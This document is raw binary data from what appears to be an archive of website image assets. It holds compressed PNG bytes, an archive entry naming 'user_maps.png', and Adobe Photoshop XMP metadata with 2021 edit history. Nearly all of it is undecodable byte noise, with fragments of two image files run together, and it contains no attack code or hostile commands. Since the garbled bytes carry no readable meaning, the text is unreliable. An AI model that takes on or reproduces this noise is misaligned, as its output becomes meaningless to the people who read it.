�7V�K��ty}���ݪ��JXb�v�zE��`*�%��w0�/B6ߏl���l���w7�HŲ@����Z5�ú�J��ot�Z�� �-2$��:�|+���!bt�+��,����g<q��*�xS�w��q�h����e
r�c}��G��l��"~!��:���o�^�d�Syyy��vk��R�.����g���gl۶�~!��Æ
�$�����tUn��?����?�y���iE��@=@�v2�!$�1_�l���
��aM�E'����V��ވ���zA��,�8�Z�4i�Ou\?��`���DBM�Wbx��+�'{�0x���=y��W��㷶l�b�֭[���_�4����v)�k�)))�=��/�|�Y�f�{�
++�������B�݇o�g�zV���J�C�#x����M`=r�
d�.d�^d�dT:�3����K9`�
�h� �qox�������;ѯ¡Y~����BtB�
�ڵk/�.�V�W����Mg�j
j�@(!��[��G���/�}����z��t���F��w��Q�lL�RZ�ֱcǒ���x�
��ݻw��o��J�n'�^�pѾ��B�E!~��e�N�2�*�%h@��>e�a���vP{B�C�
<p��o6��iJ�JfeMhr�Sv��ehԖ���0|�U�4ୢ�W�X~���hٲ�k����;v���[����㤓N:ҫW���|�ɍYYY _~9县�����|ǃi���¥���+��÷�=l��{@� %�Z�Й��a�[ꩧ>oܸ�~)e��� !����3����üT���^,'�p�|���|3T���7�ٳ缘�o�=طo�<
�
66�0��퇺t��ۚ5k�Z�p����a&B���o���mY�v�i�!DJJ���_o<x�D�ñ<�XXy 8�#�V��;�Z�Z�Pb@�����w��y���_P%�����h:q��!�&�L`!&?a�q��&���U���䆺��lٲ܍7�r�/��4M�v�J�v�0M��A�^�f�Y��*���I[�5��,Ԇ�l!�����x��Z�߿��aÆ
k߾�ڼ�Y#h��}��� �=���
E-DNJ�$M6�_pT�ػw����\�!�,Qa� ��1�
H4�ui�������eYYY�X���� !�u+|0;;[dgW��/66��n���͛��x�u������O?�fd�'t��黃�����I�Έ��^�mE:��o��uۖ-[Ny��kݺ��^���.�6��+���C�(*%�ZJ4&a��sg��=-��G��)��[<�A*�u�#�F��u̘1o�_���{�S��~�[F5�֭C����X� �g�� 6BX�%q饗УGwrrr��t"�
6���Ν;�X�j�ظ������j�G}Lbb��2#����+��^���UW]�BTGⱲ0
x���ZdJD��P}@����2�ôp�ڦT��վ;;��z<���/�$��e�/y���zf�,��Ô9��Oj۶�L�4����4���d䋁��Ҭ�-�gϞ4��{������o߾_�Z�j�MϺ瞻;��{�1֭[ge~���E~�!!
))���$��>�!���k��vV�[_�H��M��*@*R(j)�����a�'�U"쏤�hxb
8/�`�'�����?���K����G�� 0��eZ�F�|�in�G�3tC��B�rz
�P�G0��aРA�=�\������$;;;����F����EDD�z<^�֭��hڴ)>���.`�r��˻�h[��i]� 8/�rҴiS:v�Hǎ�և��~�L���%U��ZP(j)
������g�~n�oe^o�k[:��q�Vn��J$�:wv�>cF��wJ
�0�9��M9����E3+%w>��K3QKi銄�z��E�Ν8p�n�����ݞԬY�%{���`�� G��Mi�'p�^� �!4�u��y�3��3�#�F�nU��4��.h��<Ѭ�#Dž
E-EnA�i���ݰ������9_�؛�1��76����o�����i��}v���x�z9��OX���H��`��*���v�9��9B]q:4oޜ��5jDDD>�/�DD.��w�}wԟ�9h͚54MˑRe'�&��v`ɿ�]�v�<�N�5g$B���&���}��n�S}�L��jw��2���
E-f`����!���*�Zs'�<��
Z�A�&-l6y��/?P�xt�3�]�~�ݻ[{}>!����i^�W+k~�=m�8�m��9眳e���N=��b��_<Vt��ѣ>|8S�L��b�ٰ��$&&����СCiҤ ��E��q��g�m۶,X���}B�58"d$+4P�7��!���I�vP�!X}�f��5k�<����k��2dȧ���+p�L̨R{*�%�ZL?��Ç�t��k夥%�U�"<�7��24q��W���#����GEj�nW�0
�����h�����UW]ERR�1�A�u���8��1chӦM~R!��m\x�K)g�Z�jxff�C�uY*|P�2l7��[�g@,o�ӪL(�����;~ӦM㳳�;���{�4k��w��WO�;^yi��2�9B��JD���H|(�����M]��߳�
�X��=�����!��I��Hy�+/��c�<��y���hx*�K�8�6�w
pR�"��|L��G6Эo�Յ�X��W��C��G��;�u���L�:�[n�����������,22rYff����V[�)�?�.0�O��Y&�!C�дi��w����M��~��_3M�
)䋪>�J�����u���<�:�
E-�)��h���!���;*OlM�"�W@���G���w��)�L��%~�ƙ��4���8���|��n�+���%u��FNNN~�������u�n���rg<,��撓����{��cƌ���G�;�����K�.�x��Pq�g���}�
~�TԻ�P�rZ��߲eK�}��w�վ�M��/��m��������?ͦ���%�
`?n!�f`V�U����V^���#�ѣe)`�iVh_DD6���������W_�}��GÆ���U���_Sb��z��%�7�w�О�z�Q�FѪU+z��I|||Vǎ��lڴ�wYާj`)���*ʀZP(j9C���?�x+�~\�X=k�͙���h��*��Q�L:GG���z��|Sx��w�x�+O\�ư0� ��d�D����xXZ4���\v��>��l6"##q8�"""���l��rɅ^�u�]��'�̬Y��Bea�&��z*��r��v7nDAZZZ��Ç�k�d��0�� �F%VǪ�(1�P�r���I/ݲ�۪����@��p_c�_\Z���,��Р�y���ݿ믿\���]H��p�I"�� ���g���O$77�������u�C���p�®III)�����AJIll,͛7�����C��~{�����s�B�¢%Lm������x�{�?~<s����g9��*V��D �v"s�('�JC����\�Ɣ�ܘI���g0k\8�?��M��\�O�8�%��w�G33���<����HY�).�@J������/+�f�f����{�ܹs_ٽ{����6m�Ln��������͛�:u*B�^+�?���ܳ��
ȠV���(n�%#55�w�}_,]��>�ۍ���>HiUR,��B5�h�iv�y��J(u��Й��W��|�闯�>�y���]�N�vr�D%��2����a9҃�P�j@��
o4h�{�&''M�B
�č7�nF�
by�>[^^^��ݻoJOO�f�X]׳���ѽ{wv����Ç���2>��6��0ةt]P�vC ��\���A�9�^{�ǣF�bѢE̘1#�WX��J7U����b�y,u%�:@���4��>�Ȥ��Jn��Ɨ�9�s>s�����7�x<\���Z�o�P-��BPR4�رc1�4�4
�˥��w�Ѣ]�v�F�}gjj�ꬬ[Æ�����W�I����?�����x0�����7�|C3����QJ�:6�`)m$�c�!���$777�A\\_}�U��qZN�����.��ȣ��DXIԎo�B�(����96r���[o>:xO�=O��ҍK�^yZY���sk�||͗��
���gy��C�<�A��Zt�p��Q�0�P�B������bϞ=$%%����̙3G�_�a���p�y�םzj���i��m)��'�]v���fͺnݺuM�9��ÇIJJ�/�+���ɂ�@:aK��)�����Kx��С#�a�����_γ�>ë�������5x���ay�+�;j�!�P{��
��T�E�6^�t�߳�ݒ���IN:X&��,��rE4��D���w�D�)�1�� ��x�^>���@�����OHHH��v{����aC�&��}�����n�۞���j��[o�����c���s�hZ�kk��K�`��b�`\�Z%����`�R�[�vÓO>y[�>}s�^/[�n�_�~4j��ݎͦ������\�gɒ0Ս?����7�EQ�P(����Ʒ�\��<����\:�[�^�d�EF����S\4��QR�@;p�*7n���m۶h�F||<�G���.�
i�8��#G��f��~�z��C��u=�4̈́�J�Mj;��lڴ��>��و����i��x�;_|1��χ���YU�+H*@�Y���(1�P�Q.Ac4Kr��ř�g���>��8�rs�g�oDtTvZJj�o7m�j��(�&�U�cBEX�6ƍG||<�a�p8ظq��{����.�������,����rѹsg֮]{���sFGG��K����aRJ"##0`v�)%|���}��Vdee٥��<�
;���F����?���p������p��.��[���(1�P�a�Cg4��֬�f��-�vٷs�\�ahv��ܗ|(b��#�D�܊Vk�@�O|^Y� .T�M�r�8t�'�t.��46lؼy���߶m�O=���={>һ������|�e����
6�NHu��w�>����l����Rb�&�5��!P�
p�p�&hۦm�u�)1Q���ǭRQb@���t@�;S0� ����K��>����cw�q��7��
6�i��"(Yp��M
�����I�������o�|�
7�����qɒ%_�]�6�0���0`����O���q��!v��Add$]�v��v�
ՠ8l6���qPV�E@
��/�\ *�P%�ĀBQlj�K�9��9����2B�e=��h��?cZK�6�?�|V�^���&/υi�=z���>���?q�Ν�����DGG�ׯ�g�_��,X�ھ}{~%�.]�l2&p�\��0àq��L�0��G���wߑ��Q�sT^��j��Dԛ�P�J��&��S˯6�A�~[����
�I'��ʕ+q8�ɒ%��ꫯ�ܹӞ��Ϲ����'���tw8�v�ڭ�u=q�ĉ$''3r�H�u�F��,���C��f+�n�I����˘:u*��=�%�.E�C�Y��zc
E��I�hL�@�_��VoM�W\qE~�!���m۶+SSSG�;v�RRR^0`��C�m����iӦ|���7%''�+�`�֭�N�szÆ
�4�k
##�~�����v�ۭB5M$8N�ø��'�x㍳��9r��������+p��4XW��,�DXI(1�P(�AI��\���L`�
������ի�a��xz|��7�ddd�|܌3F�j���Ν;/��l̝;��ŋ���!11���ī�6m�s�nݮ��l999|��̝;��.��+/�8�&���a���mSSSg[u�A����ӤI7n��ݻ�С�w�&+++���8�t�M�}�K�۰�DV6�j�UoQb@�P�)�dZ>�c�$�&?�OB���
���HLLl8k֬�222�GGGg���~�ȑ\��~NVVV�;���=��3.11��W_}�@ll��<�����ɇF>|��y�xwԨ�W7i�~;M�$<��{����˳�.�
��t���n�X��[�laʔ)dddp�m�ѯ_?V�^M�~����o��o���*�{u�}�k@�y��
�����-��X��2i�,��\�J@���~*���*�����H��Z��S4�
66���l���/�ϟw���'$$��{�#�,Y�nɒ�L����_|�̆����\��н{�uW\qŸ'�|2�3Πqㄫ������_p�?��r�v�ֺ\.ڷo?7&&fn`��
�m�ә�t�i�&���+�̙C^^v���M�v���e�kמ�'r�%�0u�T�O�^�J��A��W�o����FOM�'p��t��&MMlt:�UJ��x���wP�w�"
��Q�Qb@�P�)+%q��M
%x�>��s�v����S���;r�>��,z�g���?dgg7�ر㆗_~y|RRRR
�@�fͦ;�Η|>_�iӦ�jԨ�Z��Í7�TjH�}�x�ǘ1cF��hl�x<���Һuk&N��W\�g�}JLLL��b�~�b�����SO]g��1L��L��JD��v�W0���f�e��(?J(�:E�Sv*�q��99��_�.�+F��}��O=�$������ѿ��O=��O=��W
4H|�.h֬Y�{���J���u�]�v�w�ڕ=M�9N��i�333�4�}������x�x<�lْ�{��G�r�i�5�.:t�u.�ٸ�4���a/��
�f�]�'�+��s��h�NXs����Hk�6��'ZP�%
E������,�(M�'�4%]�Xy�].�����5����ޓRSSs�7o��zٳg���X7���.�
>�/_����" �s Ԙ����r�I'��d
e�s��1��%��>�P���^/�V��Xf��|`h�C��2G-~)�EJ�#@�dNj
��Nѩ`�hU�c�FR��?�`ms�\L�<�'�x0���>�������4���K�@5A��L""����쒗�7+�>������i���ԥ����}�1�o����ƹgϞ����|����`x���т���4���|BpTJҤ��ߕ��t8Q��E�Qb@�P�)N,��~T�h!D���_5�r��A�̚5��]���0��kײk�.:v�HRRR�O@peA)%���?��͌��1��
ڡ���/��r�ȑ��S�L��ڵ�_~9ӦM[�8�n�a!Z઼<:8\b$ƹ�4��6ƙ&]MI�4ѥ��� vk:5��M�
^�
`�0��C�
0Ѭ�/BQ*J(�:EG��J9� �Y�1E� �W�M2�>**�ѣGӺuk�9²e�T\�f
��ӷo?l6�-�gA%���38�?'&&u0C�VD��Ác
o��A߾}g\t�E�k�\p�_~y�����q^/�HSx���,���#��k�#TYlS���a2����~���.y��k��r^��J����T�P(u
8�rk�"��Ҏ)�L��'��c?~,M�4���`��0M�0�4-�,���椓N�f�1�|�aA�
���l
��y�&>|X@
E1�⡠�j�����`���nݺ���Os�ңG𗗈��B𦮃a��lh���j�U
9�In/_���w��4M��u�%6��rܸLs0�����qP�(*%�z�(�k��z��ANGc�U�l�
�f��>�0�����76�Y����|W�]��vӣGLӌY�h�f����X#p�4�M�)��/��$��PJInnn��~A�`��fc�� o�$ީ�b�������
x�H&�)�8�TDFe�MQ�
E=
�y��x"�o����i8��!x�j�*K��h��Dk��[�r�
7�!�w`b.�-��t!���4��ϖl��پ}�������� ����4ظq��!C�|���`Μ9`��)Z���x��큷=%E
&C�1���Y�'�#�8�l7M:�:�y<�~�wf�2�ig��;8 �P�AX����2V2J(����yI��*���1
F��h�ewN+���@JIll,#G�D�u�o߾wÆ
�\�H����x�5dȐ#M�4�4M�������
�&����.����fs�ݓ����o�V�:nܸ_~��KRK�a]�'��
��N;s}1�c�yv��m����=�19���I��W�o���Ȩ�YՈ�P61 �X�q���Qb@���Ce��z�6(�� ��x|��&
�ǭ���6L4C���U�
<[�]�f���E]�СCY�j���>�lCLLL��ͯ��R�oj�MO���[gFEE"%|��WO���{�j|�a�B�),'�6�M�w���s�=��W�������`H�V�@���.F{m��? �M�d�d��Ǭ�\B���GvX�>�Y���ɅE�@��m]J�,�D6C�k�h[�cD���0>_D��
d6"k�4cߡPտ�p�O��K/���vş�?��6�+c�Xc�
\J)b�/��].|���z*6�-mРA�l��Ǔo�7#����l�ln9r)��EQQ�\�
&L�a��y��SO�����P�ꀆ��c���|���L�8�s�=7p
4�� �N������;���9��Olr{�$D���|��o����d�\�DA���qc�&A���E�P�v�32�v7N�z^|t���p�f��H���3��s��q�dgk'!��ta䜂�����[g��b�.u]G�4�,Y+�����r������ng�ڵ<x���
�MY���d�����Ƹ10�
�a���F��W��\��2�π�`r�(�����m`i���[��@E�P+
E=��?��Ѧ����866����&;���;�U�I�y�>+�Wx_RR�I^A��#8�ԁ�K�.t�ؼ�o��6�^{-v�=�y/�wQ� V�Z�ԩSY�pM�6��'66&U!�@:�r�����
�9�����r\�.��Me��Ђ7����u,�(G�(EEQb@���^/]�����h�nl]�vo����>��18%�?[���I��ȴs�=wƿ*���)���Np5/[��{(ADFF.���ݻӷo_v��͟.c�ʕ�h�" �hq������n������>̋/�Hlll~Bp$B��ia��iG�U��+a�v�s��D�2I**�
E= ��W^��+W�
��
��M7�3�����4�F�!L�w/Z1c��]T���f�H��+�bym��4�*�sݺu�{�ڵ����N���IJJB�5��s�ap�0�H�'
����Ba��ŋ*�v��B���/!}\îZ�b}^<���RoP>
E=a��_���[�����-�����'!�/�|�I+���uO<~�>����m[����t��V�z�|q�ڷo�%��ի�͟?o���MvvN�~M+(7\|[�.�'a�����e��l�ME~�D;D�*NTu(1�P�.��X�dt�������"�R���_T�^��~$7a�Y��|�s'�=T��w����æ�/��G0ss��//��M7��}Ϟ=z=ވ>��իW?����S���G��Rf_�&_�z��omZ��?���:*
E=���h�ffD?r҃����i�������&�TP��d>|Ȭ�N��-��T���wG̜=�2�U��+��H`b�>'�|���^��C��<O��˗?���s6ۄۅ`�i��%�5��B��i��v!�>Ӕ��`��3Ms���.�]Ӵ<�M�B�+h����ż���\$lK,�oM�!
�r�Z�B�P(�7��
�����k_�_t�]��2������g|��5��Q���O1�/2k��/��0�*�kw�ٶ�����ѧ�L"��������Ҷm�����=z�����HM�)#�
�ض����"�v� �o
8�`���oǞ3�k�R�|��#�r�z�]w�����
�Yhɑ���'�P(��q[33��r���B�yl��_�1eʘ���)_b�/7�c7���F�>&#�q>��u��c��v��u��O�c�X��*yU
�m��y#���v�� '���wޙ�e˖�rrr:�|>�0SH)��2D�2l/o��m8v{p�c��Nj��X��W���[U�>'w`�W~��(5R>�P(��������WC��/����.\�㎱�>oi�����x�����e^�xh����3kx��['�����p}q���H�2�_ha�:X���
���Ur��'�Rj2�0�������%�zFSO��
�o?�ػ�n���P�Ny�W�;�ӯ��xq�.���am�moew�u�?��@��fK?!6��u����߾rA�m�����]���a�����t$�W�O���x�*�x���O��,pGnUX,�J�9��_����'��SX����]e�j���B�7���O����]}��i_Ns�{��������#��Z��<x����[
!̮]�n�uW��m��ߕ|ͫ���F"b߫"�@0
�'�y�
���ԧ����5�zM+T2Z3%{J�E��t�(�u
3(�Q��Ă��'"�����л�����
�L���:@W֪Ŝl��؉���J��&q#>>����y�����?�c�����M���0�E6��������:���9[-�Za�.��i�r���
����N��J���k]
=�8[_6�ZY%�����7�Xi�k=��(1���2�a�Y�
?�^���vOǹ_9��?x��ee5=����X�ߵ_1W6y&�G5��i��*2
/���XB
� �]%�K聕J����RX���[�Mh�WU*J(1�����$L���KLL���^�҄{�y��-�<9������so�ܶ�S*�^��g�jL�ؕ��ښ�ұ�C��ST&V��6��}ث\���@>J(���~����n
��q�O'�w�� �_�����%~ƌ���;�n��=b�#��kk���a$]�a=� �S�����
����j�#Qb@��|�P(
��ɇ�|� �U�cS!�?��Ѹ����\X`.����S߸�
��ܛѢ�k J(1��
űlE2��Hc�� �E0��h��a+�q3>>�D��,(*�6�N�>��{� Pb��G���~���7g2˫}<�#����h�A�i��pتU ��Xb�v�w�B����Yآ�������<���R��r%�j��P(����a�i֊��m�=�:��X9�]�jl�B��BQ�������[���8��ȳ��ϡ��CSJ���ĀB�P�����Ӏ���f���%h9��4�5%
��ϳ��j�,:���Q�g"~?����iآ�y<�bPb@�P(��]l\o�4Fa%�9�ZU{y��/"{ �Xe��(1�P(A�cl\����B�ps����� ~�PD�J���c�&�ĀB�PA����!ˇ�|<���JC��C�^��@�@��B���G�]l���u`5�v@0�a���%jJ(
E ܆�Ll"�X
W}�yX5�+��fȩ�<ϡ+g�Z�
�BQ
g����#"�� <��
հއO{#ؿ{�eh5�Z����?d�B�(�l�{Z"�^�����X��%�9m�~
�!�T�@��B�(#Q�w�Z}������ ��ݰ�n��
�#l��b�1�<6EQb@�P(�Ʌh���1�V������b����A�m��{nD�I�Cu%
��4E0[�_�����l�#�\�c��qp�{lIK�wl�hZ�cS�%
��8��n��/��8,�gV�莛3�^�b,�@�#�{㈽�%`���)
�Bq�8���ُ�?t"�����J�S[B�ƻk�g�/�]�8�O��wX�EB��B�
���9��:q�zc��M&C�y���)�}�q~���a���c#�%*�
BJi5D�Nu���gb'V%�R(a�|�ɫG�FO�����/�"ת&
�.Zv�E�7��7���YH�ȡ��y8Ղ�R�Pb@�PT>�|��9)�M�X���K���JBC�0k�t�hIb!�l��{�s"T�k$J(1��
�����_H~�d���Ȇ��n��MX)~w{�T��L�%�8@�����.@O�mѡ�D�H�-m��+�Ā�(1�P(��CH#����Ȇ�����९��)"�"m8"�j�3���=%�Ā���P(���.Ap Zw�n�w"Y�ܼ��q��`�@�%�l�%22�_C�A��!\�Sٽ4�P(
�ĀB�P� 4��.��x���\�+*DMoQ(
�BQ�(1�P(
E=G��B�P(�9J(
�BQ�Q�
�BQ�0�rx�R"�Xy"g5�KQCQb@�P(���a'(ˠBQ�L�P(
E=G��B�P(�9�L�'��
��"��m��(���D"������RPb*��Z�P(�$p1@�x��"HC��UsY�B��pW�
��� �~T�X��ڮ@>u�.�����
�B�#+.�D �"�����"\����B���O�Ue���%ApWmAWC`A�ABhB3
�ư?�h�
� ̝���
"%((AbM��`���,B'^�t��zƹ��=���=g�p�r�9�=�ORc��Ju)�H��
��Ju*�K�!$I����Ju*����CH�jm8�ju*����!$I��f��]�_��,:�$�V�7���Q�2��:�cpI�hk�����
�20c)�7G��ƞt^x��e�L�9*��!$I#g �<��?,w�w4���]*��n�BnD��N*I�n8|��{p�20
��
IR,�ߺ��0��暁O�o�H�T����ew�g�S0I������^"�7jg��I(L0��?Zi��� �l��G��>����"
��}��W��h��D-�5(>&�
%��]�D���/����M��~�3�7,��*��ЧS�$u�@q�ɠ
��q3:@�j5�Uq�P,[��H��?���0:����P,�)
����}�@RNjP,ö�X��9�O�F�Ա�2��CRE�ފ������!$u,@�̇ĐT�+���@��DtI�P�g`�<�@��
|Oa����]�+�Y$=n&��]w���?XI���
��RZ�~L�
$I���ì.
,�Zx�H�Tg׀)(�Z� ���H'I�j� ܇\z��zp'�5H����FW�WY`��)�
�8�\�$i����)z������v�ǎ���$Iï
�.����NZk�@?6>c@I�48}�(�I��Lk��$I
a�$��,�$5�e@����H��p�I��2
IR�Y$Ij8ˀ$I
g�$��,�$5�#B0y����IEND�B`�assets/images/icons/user_maps.png000064400000076137151165724360013162
0ustar00�PNG
IHDR,^ɰ) pHYs��4iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-04-10T10:20:23+04:30"
xmp:ModifyDate="2021-04-10T10:20:23+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:2fcbd6e9-3224-8f4e-aa80-032e34136fdd"
xmpMM:DocumentID="adobe:docid:photoshop:dd6b77c0-48a0-684a-96b2-51690ad4ac44"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:ca82bb59-1e29-6a43-bc98-4ca65d966418"
stEvt:when="2021-04-10T10:20:23+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:2fcbd6e9-3224-8f4e-aa80-032e34136fdd"
stEvt:when="2021-04-10T10:20:23+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:ca82bb59-1e29-6a43-bc98-4ca65d966418"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>D16B72E9DF0C6D65519F995D1857825A</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>��lo�IDATx���w|�U����hZ�����2e�(2��l����^���
p���Q(KTD-K��Ҵ�}�?NBK��i�4mz}?�@����H��>�:Jk�B!�/[�B!DtI2
�Bs�!�Ŝ$B!D1'ɀBQ�I2
�Bs�!�Ŝ$B!D1'ɀBQ�9�(��GA�'�,�B�x�DA�Z���0���I�B���Vs�����@��&����R��M�D!D��0�1ځD��:&����"�h"�"f��L�v
���@Y`%�!���!��hN����vB!b� �)��8�FkSS[!��B��*<�
�-���q�@!D�p%P9�A�S,%=��B�b!��
�)V���@�h!���h��)V��j�@!D�R6��S�$B!DArF;�p�d@!�(�$B!�9I�B�b.�W-�1��$&*0�*�w���Z��B5'є!-�aD�$>�D���$B!
/I�Mz{����_�y
٥`*��I�&��;I����A��#q��>$cR�2=�"+I��V�$/��]��I��$BdK.�B��A�!��}G���/�Uh�q������p_~���Vh��F)����6͉J�;�F��Pw>���r(��M_����9n�\�m"�<8���v�
��r%�O��r��O-|ʎ���Zf� !D���5����@b��ʃm�Eh��l�>�vO�IZl�d@!bӯ�H����}�����
�v���0�>qI2
��G���)y�ӽx!�����y�K��Q8�/R$B���'f�`�&�>H/��c�W)�EFa9*�"4��n+併�$ʵ3o�8���z@�|ķ؈�`��@5�6p���Ph�n��c��|�X�H2
���0�I�N�{G�g��t����<�O�LL��'���~�C����ņ$B{��ڽ>��<�
`�p/pCG;��A�s�ǧ�?�1���q�I�}h��:��_ѩ�� '��It�d(i��Jb�f<
N�+�J�V}�n�J8�h�R�Pel��1!§b��I���Q�e�$�R�-V���k���^��+�$(�����Щ_c����
]��
�G0�y�d(��f�����.�<l��dl ����@���
!"��Z_���(�O�J�|_]\�vG�.�J�YdI2Pp4Q*t������=���]H�=�vb�%��)��f��A����'P
�S���)
Zh��u��X:�u�Žت_��e"��Q<�G��ɵI>ܴ��k
&�
�2*��rف.~�"L����D���Ix�-�*�d��d�{�c%�ӧ�4���9lWht�6�
��u��X8`���6ߏ����0 �"��.��[���Lo4[���\�sI�6_��
�)Pj2�m�aY;�u3<��,���{1����d�}0��k��(�߁=�N�g%@�(�&D��h�v�(��)�E��:����a�S.,�$��� ����d���p�a<��ª憲�/f�cZB�w~6L���|�
�Ƕ�iu+A�h(DX���Y�:�bZ��ݩ=_α<LvsI$8-BɀETx<i���V
O����+���~�®p50h�ډ��v<���2#A�����^���Pv���V�n�?�q��粘��c�^`�E���ᛮ:�*
<���n�H2pZ�/�֒
��?�f��|
<�����G�¾�q���
�8S2� 0X�vj/�j
<�ir/����3梻33�C��m�����5f|ѿ�v�8��1��[1-�e}�-� zq%����h�~H2
�iaN���#��]��8����1�}��G�3�8��.�����"_�ȏ���gr�J�Z`fd��
8;��aޯ�"pW�g��A-��\�`�
�|�
ɀId���h"��.���<5}��V�r�]��D���muC��4hO�{���!2�0��r�\51��K
�D�{dS��x�707Ǒð�d
|,"���r�Mj�2�s0ku߇Y(�`�����>��*t���w�����y!��M�f��܉Y�(Z��^�('�"Hq!�@�D�g�������[�d73t�8H�|�-�e*���b<O����Ǯ
W3<7�H�.�x�Kh
b�$��`DI2�Ht+Z�"-e��b��)�Q\W�ڂ��'�o��W&u�&��(�%DQl}�`�!�a*��,|�%�<��0S�ԕ�8�����pX��@��K�� �/�Үģ�ͱ��L�[��Af1�o�9��acҎ~���+��F����I\��m��$3�`>�5ڽ5�V�0���t�b�8BK4D&�ƙ?^"�����mx�y-�����2�r�-|��d���������Q����H�`ଔ�@�]
�_���#�x{}"�;"F�x�l̴������{s�{*W`:�6���37��j|�#r
�@�������{�y��";Oc΅Z9�>f��!����0�@2�\�{lĬ>63G�0:���~���g�h��k/!ҝ�r5@���e�kI��L
�>���M���a�2�a�c�q`����\=��GA�r���vX�<Ggb�Ŭx��z*��)�܂�(&���sI˖-h�b}�ƍ76�����I�V����_�~}�u�ֵ\�|yL�St�%�u�����w4x
p�n1��m2�H�@nF�_�YS_�'�
�d��<�36ŀ�L
��v/
���-z��RfG�Fh��γ���@H����i!$a-5��+��[�U�7Xk����<�n�c.��I�_�;#F����Iy9�[��5kֵ}�ѕ���`��zcN�E��h0�k�Z�=�J
jG3 !
�D�[��
��5�&LB�����_h��>�r����X+�m�y�~"�}:c�嫅[�IN�f2��+�3�.fJ�@�������ws�L辋.�h�c�=�`����O|�e�Gy�����!0\k�yv����K1� JtǶ�ku�,x$Df=��%Y��\��?1���}_6�6��N�gU��7K�a�c�5˴�F�|�;�%�ӕ�/�H�P��V��x��%���̉@܅i�7lذw��E��x����V
�ꪫ>�,z4O)uu~�AK0M���b��g�F��5��\���%}��TL���l�zV�U�z���9�r=���� ���M�Gm�
p��@��q��H2�wa�28�?oa���J��^�FcZ�f͚5d涩�+F���ߛ0r�ȷ0� �SJe7�0X�)X���Cx�|]�-h�cq^Z�F����1/ӱ���g~�b�>�B��g��;�z��#��}�j�rM��Fzx��<ݯ-�f=�:��(W�L�
;�ʕ>B�j�S@��2�
o�6hp>ֿ����q�@���I�9s��^�}8�䭿^|�(Ŵi�F�(�.�Z��=ac�D~�1���E�z��Q�)O6���E"�r�ȯ�P����ظ�����
(ןh�����5�Ӫ�q}������)�;2|-�;�Q�吳+�����>L��C��$y�D`��5x��<��~#�CU��[m;v�a3�Y��r2m�k�|��9s��$����o`��<u�����(�A��W4���]ߌ�ҐҮf��Z�^Z�J��}G�|�D���SRR�?���c�v��z�;x��
��O�e(6�NKI
D`O�\N��Q������h��12g���-
��ag�Zv�b�>G�6�}1$��/�0�H:�9�f2�/0uB�?�N�^�&O��S��-Xs��s��Uo���W���XX�4��w'�\;��[2�2�Q�^����*Q��.����n������:�'�Ͳ�Qx�4���.l���{c�/^r�{'O�}��ؘ,/w�#(�
�~�3/�)��A�L�T�m���SK$����3Mx�\YC�$�C����R��L�0�sI�&M�3���<��x�J�B{q��[�@�ޤ�
k���;
\����RR��7�X��Y���7�ϳ=~�˱����}0ꋟVռ��'���NM��R<�%c
DVG��P��9�]���!�^��=�`b�$� ��fc�����j���|�n`����g4��~r�[�ـ{���+��0���fm�����
\K=J��iI�hY�������g�i:�����^��럜���g~�q�65j�
�f��$"��R�w����\K
G�S�P��.�Ba&�@p�]vx?�x|�>���ϢC0/
